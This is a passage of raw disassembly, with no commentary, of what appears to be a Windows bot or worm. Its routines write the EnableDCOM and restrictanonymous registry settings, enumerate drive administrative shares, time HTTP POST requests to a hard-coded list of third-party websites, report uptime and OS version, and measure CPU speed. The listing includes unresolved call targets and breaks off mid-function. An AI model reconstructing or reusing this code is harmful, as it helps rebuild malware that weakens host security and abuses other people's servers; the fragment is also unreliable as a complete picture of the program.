loc_419FB0: ; CODE XREF: sub_419E79+130j
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
loc_419FBE: ; CODE XREF: sub_419E79+129j
cmp [ebp+arg_C], edi
jnz short loc_419FDD
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_419FDD: ; CODE XREF: sub_419E79+148j
lea eax, [ebp+var_214]
push eax
call sub_4151AC
cmp dword_4CB06C, edi
pop ecx
jnz loc_41A158
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A000: ; CODE XREF: sub_419E79+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CAEB8
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A09D
cmp eax, 0EAh
jz short loc_41A09D
mov esi, offset off_4399D0
loc_41A031: ; CODE XREF: sub_419E79+21Dj
push dword ptr [esi]
push edi
call sub_418C6B
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A048
push offset dword_439AE4
jmp short loc_41A04D
; ---------------------------------------------------------------------------
loc_41A048: ; CODE XREF: sub_419E79+1C6j
push offset dword_439AB8
loc_41A04D: ; CODE XREF: sub_419E79+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A080
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A080: ; CODE XREF: sub_419E79+1EBj
lea eax, [ebp+var_214]
push eax
call sub_4151AC
add esi, 8
pop ecx
cmp esi, offset dword_4399F0
jb short loc_41A031
jmp loc_41A135
; ---------------------------------------------------------------------------
loc_41A09D: ; CODE XREF: sub_419E79+1AAj
; sub_419E79+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A12C
loc_41A0AC: ; CODE XREF: sub_419E79+2AFj
mov edi, [esi]
push edi
call sub_41D817
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A121
push edi
call sub_418B58
push eax
push 0
call sub_418C6B
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A0DB
push offset dword_439A94
jmp short loc_41A0E0
; ---------------------------------------------------------------------------
loc_41A0DB: ; CODE XREF: sub_419E79+259j
push offset dword_439A68
loc_41A0E0: ; CODE XREF: sub_419E79+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A114
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A114: ; CODE XREF: sub_419E79+27Fj
lea eax, [ebp+var_214]
push eax
call sub_4151AC
pop ecx
loc_41A121: ; CODE XREF: sub_419E79+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A0AC
xor edi, edi
loc_41A12C: ; CODE XREF: sub_419E79+22Dj
push [ebp+var_8]
call dword_4CB004
loc_41A135: ; CODE XREF: sub_419E79+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A000
lea eax, [ebp+var_214]
push offset dword_439A40
push eax
call sub_41B886
pop ecx
pop ecx
pop ebx
jmp short loc_41A16B
; ---------------------------------------------------------------------------
loc_41A158: ; CODE XREF: sub_419E79+177j
lea eax, [ebp+var_214]
push offset dword_439A10
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A16B: ; CODE XREF: sub_419E79+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A189
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A189: ; CODE XREF: sub_419E79+2F5j
lea eax, [ebp+var_214]
push eax
call sub_4151AC
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_419E79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CB044, ebx
push esi
jnz loc_41A2CB
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CAFE4
test eax, eax
jnz short loc_41A228
mov ax, word_438768
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CAF98
test eax, eax
jz short loc_41A20A
push offset dword_439DC0
jmp short loc_41A20F
; ---------------------------------------------------------------------------
loc_41A20A: ; CODE XREF: sub_41A19D+64j
push offset dword_439DA4
loc_41A20F: ; CODE XREF: sub_41A19D+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF50
jmp short loc_41A23B
; ---------------------------------------------------------------------------
loc_41A228: ; CODE XREF: sub_41A19D+36j
lea eax, [ebp+var_220]
push offset dword_439BF8
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A23B: ; CODE XREF: sub_41A19D+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A25A
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A25A: ; CODE XREF: sub_41A19D+A1j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CAFE4
test eax, eax
jnz short loc_41A2C4
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CAF98
test eax, eax
jz short loc_41A2A6
push offset dword_439D64
jmp short loc_41A2AB
; ---------------------------------------------------------------------------
loc_41A2A6: ; CODE XREF: sub_41A19D+100j
push offset dword_439D2C
loc_41A2AB: ; CODE XREF: sub_41A19D+107j
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF50
jmp short loc_41A2DE
; ---------------------------------------------------------------------------
loc_41A2C4: ; CODE XREF: sub_41A19D+E2j
push offset dword_439CF0
jmp short loc_41A2D0
; ---------------------------------------------------------------------------
loc_41A2CB: ; CODE XREF: sub_41A19D+13j
push offset dword_439B08
loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A2DE: ; CODE XREF: sub_41A19D+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A2FD
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A2FD: ; CODE XREF: sub_41A19D+144j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
cmp dword_4CB06C, ebx
pop ecx
jnz loc_41A472
push edi
mov esi, offset off_4399D0
mov edi, 200h
loc_41A321: ; CODE XREF: sub_41A19D+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_418BBF
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A33C
push offset dword_439CD0
jmp short loc_41A341
; ---------------------------------------------------------------------------
loc_41A33C: ; CODE XREF: sub_41A19D+196j
push offset dword_439CA8
loc_41A341: ; CODE XREF: sub_41A19D+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A370
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A370: ; CODE XREF: sub_41A19D+1B7j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
add esi, 8
pop ecx
cmp esi, offset off_4399E0
jb short loc_41A321
nop
call near ptr 2800000h
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A45A
loc_41A39B: ; CODE XREF: sub_41A19D+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A44F
cmp bl, 41h
jz loc_41A44F
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_0 ; "%c:\\"
push 0Ah
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CAFD4
cmp eax, 3
jnz short loc_41A44F
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_418BBF
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A40D
push offset dword_439CD0
jmp short loc_41A412
; ---------------------------------------------------------------------------
loc_41A40D: ; CODE XREF: sub_41A19D+267j
push offset dword_439CA8
loc_41A412: ; CODE XREF: sub_41A19D+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A442
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A442: ; CODE XREF: sub_41A19D+289j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
pop ecx
loc_41A44F: ; CODE XREF: sub_41A19D+206j
; sub_41A19D+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A39B
loc_41A45A: ; CODE XREF: sub_41A19D+1F8j
lea eax, [ebp+var_220]
push offset dword_439C78
push eax
call sub_41B886
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A485
; ---------------------------------------------------------------------------
loc_41A472: ; CODE XREF: sub_41A19D+173j
lea eax, [ebp+var_220]
push offset dword_439A10
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A485: ; CODE XREF: sub_41A19D+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A4A3
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj
lea eax, [ebp+var_220]
push eax
call sub_4151AC
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A19D endp
; =============== S U B R O U T I N E =======================================
sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp
; sub_41A6AE+DDp ...
arg_0 = dword ptr 4
nop
call near ptr 267098Eh
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41A4B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p
; sub_41A6AE+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AFE0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41A6AA
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41B590
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40AAF9
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41A6AA
push 50h
call dword_4CAF74
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CAFF4
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41A6AA
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jz loc_41A6AA
push 32003h
call sub_41CFC5
mov edi, dword_4270A8
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi
push eax
call sub_41B8D8
call sub_41B8E2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41B590
push 32000h
push esi
push ebx
call sub_41B590
push ebx
call sub_41AFE0
push 323EAh
mov ebx, eax
call sub_41CFC5
add esp, 20h
mov esi, eax
push ebx
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41B886
push [ebp+var_8]
push esi
call sub_41BEC0
push offset asc_43381C ; "\r\n"
push esi
call sub_41BEC0
push esi
call sub_41AFE0
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41A62A
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41A5FA
; ---------------------------------------------------------------------------
loc_41A5F7: ; CODE XREF: sub_41A4D1+157j
mov eax, [ebp+arg_0]
loc_41A5FA: ; CODE XREF: sub_41A4D1+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41A60A
push [ebp+var_C]
jmp short loc_41A60B
; ---------------------------------------------------------------------------
loc_41A60A: ; CODE XREF: sub_41A4D1+132j
push ebx
loc_41A60B: ; CODE XREF: sub_41A4D1+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jz short loc_41A691
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41A5F7
loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj
call edi
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_427714
fst [ebp+arg_0]
fcomp flt_427710
fnstsw ax
sahf
jnz short loc_41A652
fld1
fstp [ebp+arg_0]
loc_41A652: ; CODE XREF: sub_41A4D1+17Aj
push [ebp+var_4]
call dword_4CB00C
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_42770C
fmul flt_427708
call sub_41C798
loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A691: ; CODE XREF: sub_41A4D1+149j
push [ebp+var_4]
call dword_4CB00C
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
loc_41A6AA: ; CODE XREF: sub_41A4D1+19j
; sub_41A4D1+42j ...
xor eax, eax
jmp short loc_41A68C
sub_41A4D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41A4B7
push [ebp+eax*4+var_3C]
call sub_41A4D1
push 8
mov esi, eax
call sub_41A4B7
push [ebp+eax*4+var_3C]
call sub_41A4D1
add esp, 10h
test esi, esi
jz short loc_41A7AF
test eax, eax
jz short loc_41A7AB
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41A7B1
; ---------------------------------------------------------------------------
loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j
mov ebx, esi
jmp short loc_41A7B1
; ---------------------------------------------------------------------------
loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j
mov ebx, eax
loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj
; sub_41A6AE+FFj
push 0Ch
call sub_41A4B7
push [ebp+eax*4+var_6C]
call sub_41A4D1
push 0Ch
mov edi, eax
call sub_41A4B7
push [ebp+eax*4+var_6C]
call sub_41A4D1
add esp, 10h
test edi, edi
jz short loc_41A7E9
test eax, eax
jz short loc_41A7E5
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41A7EB
; ---------------------------------------------------------------------------
loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej
mov esi, edi
jmp short loc_41A7EB
; ---------------------------------------------------------------------------
loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj
mov esi, eax
loc_41A7EB: ; CODE XREF: sub_41A6AE+135j
; sub_41A6AE+139j
push 6
call sub_41A4B7
push [ebp+eax*4+var_1C]
call sub_41A4D1
push 6
mov edi, eax
call sub_41A4B7
push [ebp+eax*4+var_1C]
call sub_41A4D1
add esp, 10h
test edi, edi
jz short loc_41A823
test eax, eax
jz short loc_41A81F
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41A825
; ---------------------------------------------------------------------------
loc_41A81F: ; CODE XREF: sub_41A6AE+168j
mov ecx, edi
jmp short loc_41A825
; ---------------------------------------------------------------------------
loc_41A823: ; CODE XREF: sub_41A6AE+164j
mov ecx, eax
loc_41A825: ; CODE XREF: sub_41A6AE+16Fj
; sub_41A6AE+173j
xor eax, eax
test ebx, ebx
jz short loc_41A832
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41A835
; ---------------------------------------------------------------------------
loc_41A832: ; CODE XREF: sub_41A6AE+17Bj
push 2
pop edi
loc_41A835: ; CODE XREF: sub_41A6AE+182j
test esi, esi
jz short loc_41A83D
add eax, esi
jmp short loc_41A83E
; ---------------------------------------------------------------------------
loc_41A83D: ; CODE XREF: sub_41A6AE+189j
dec edi
loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj
test ecx, ecx
jz short loc_41A846
add eax, ecx
jmp short loc_41A847
; ---------------------------------------------------------------------------
loc_41A846: ; CODE XREF: sub_41A6AE+192j
dec edi
loc_41A847: ; CODE XREF: sub_41A6AE+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_439E18
push eax
call sub_41B886
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_26C]
push eax
call sub_4151AC
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41A6AE endp
; =============== S U B R O U T I N E =======================================
sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p
; sub_401ACD+2A10p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
nop
call near ptr 267098Eh
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4DB240
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41B980
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41A88B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
nop
call near ptr 26B0618h
test eax, eax
jz short loc_41A987
cmp [ebp+var_90], 4
jnz short loc_41A95D
cmp [ebp+var_8C], esi
jnz short loc_41A945
cmp [ebp+var_84], 1
jnz short loc_41A938
push 1
pop esi
loc_41A938: ; CODE XREF: sub_41A8F4+3Fj
cmp [ebp+var_84], 2
jnz short loc_41A987
push 1
jmp short loc_41A986
; ---------------------------------------------------------------------------
loc_41A945: ; CODE XREF: sub_41A8F4+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41A952
loc_41A94E: ; CODE XREF: sub_41A8F4+78j
push 2
jmp short loc_41A986
; ---------------------------------------------------------------------------
loc_41A952: ; CODE XREF: sub_41A8F4+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41A987
jmp short loc_41A977
; ---------------------------------------------------------------------------
loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej
cmp [ebp+var_90], 5
jnz short loc_41A987
cmp [ebp+var_8C], esi
jz short loc_41A94E
cmp [ebp+var_8C], 1
jnz short loc_41A97B
loc_41A977: ; CODE XREF: sub_41A8F4+67j
push 3
jmp short loc_41A986
; ---------------------------------------------------------------------------
loc_41A97B: ; CODE XREF: sub_41A8F4+81j
cmp [ebp+var_8C], 2
jnz short loc_41A987
push 7
loc_41A986: ; CODE XREF: sub_41A8F4+4Fj
; sub_41A8F4+5Cj ...
pop esi
loc_41A987: ; CODE XREF: sub_41A8F4+25j
; sub_41A8F4+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41A8F4 endp
; =============== S U B R O U T I N E =======================================
sub_41A98C proc near ; CODE XREF: sub_41AA42+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41A994: ; CODE XREF: sub_41A98C+2Fj
; sub_41A98C+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
nop
call near ptr 2650E43h
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_41D410
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41A994
jb short loc_41A9C3
cmp ebx, esi
ja short loc_41A994
loc_41A9C3: ; CODE XREF: sub_41A98C+31j
push 0
push 64h
push edi
push ebx
call sub_41D480
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AA36
jb short loc_41A9E2
cmp esi, 50h
jnb short loc_41A9E7
loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41A9E7: ; CODE XREF: sub_41A98C+54j
test ecx, ecx
ja short loc_41AA36
jb short loc_41A9F2
cmp esi, 47h
jnb short loc_41A9F7
loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj
push 42h
xor edx, edx
pop eax
loc_41A9F7: ; CODE XREF: sub_41A98C+64j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA02
cmp esi, 37h
jnb short loc_41AA07
loc_41AA02: ; CODE XREF: sub_41A98C+6Fj
push 32h
xor edx, edx
pop eax
loc_41AA07: ; CODE XREF: sub_41A98C+74j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA12
cmp esi, 26h
jnb short loc_41AA17
loc_41AA12: ; CODE XREF: sub_41A98C+7Fj
push 21h
xor edx, edx
pop eax
loc_41AA17: ; CODE XREF: sub_41A98C+84j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA22
cmp esi, 1Eh
jnb short loc_41AA27
loc_41AA22: ; CODE XREF: sub_41A98C+8Fj
push 19h
xor edx, edx
pop eax
loc_41AA27: ; CODE XREF: sub_41A98C+94j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA32
cmp esi, 0Ah
jnb short loc_41AA36
loc_41AA32: ; CODE XREF: sub_41A98C+9Fj
xor eax, eax
xor edx, edx
loc_41AA36: ; CODE XREF: sub_41A98C+4Dj
; sub_41A98C+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41A98C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset dword_43D128
mov [ebp+var_CC], 94h
nop
call near ptr 26B0618h
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41AAC9
cmp [ebp+var_C4], ebx
jnz short loc_41AAA5
cmp [ebp+var_BC], 1
jnz short loc_41AA8F
mov [ebp+var_4], offset dword_43127C
loc_41AA8F: ; CODE XREF: sub_41AA42+44j
cmp [ebp+var_BC], 2
jnz loc_41AB44
mov [ebp+var_4], offset dword_431278
jmp short loc_41AB15
; ---------------------------------------------------------------------------
loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41AAB7
mov [ebp+var_4], offset dword_431274
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41AB05
mov [ebp+var_4], offset dword_431270
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAC9: ; CODE XREF: sub_41AA42+33j
cmp [ebp+var_C8], 5
jnz short loc_41AB05
cmp [ebp+var_C4], ebx
jnz short loc_41AAE3
mov [ebp+var_4], offset dword_43126C
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAE3: ; CODE XREF: sub_41AA42+96j
cmp [ebp+var_C4], 1
jnz short loc_41AAF5
mov [ebp+var_4], offset dword_431268
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAF5: ; CODE XREF: sub_41AA42+A8j
cmp [ebp+var_C4], 2
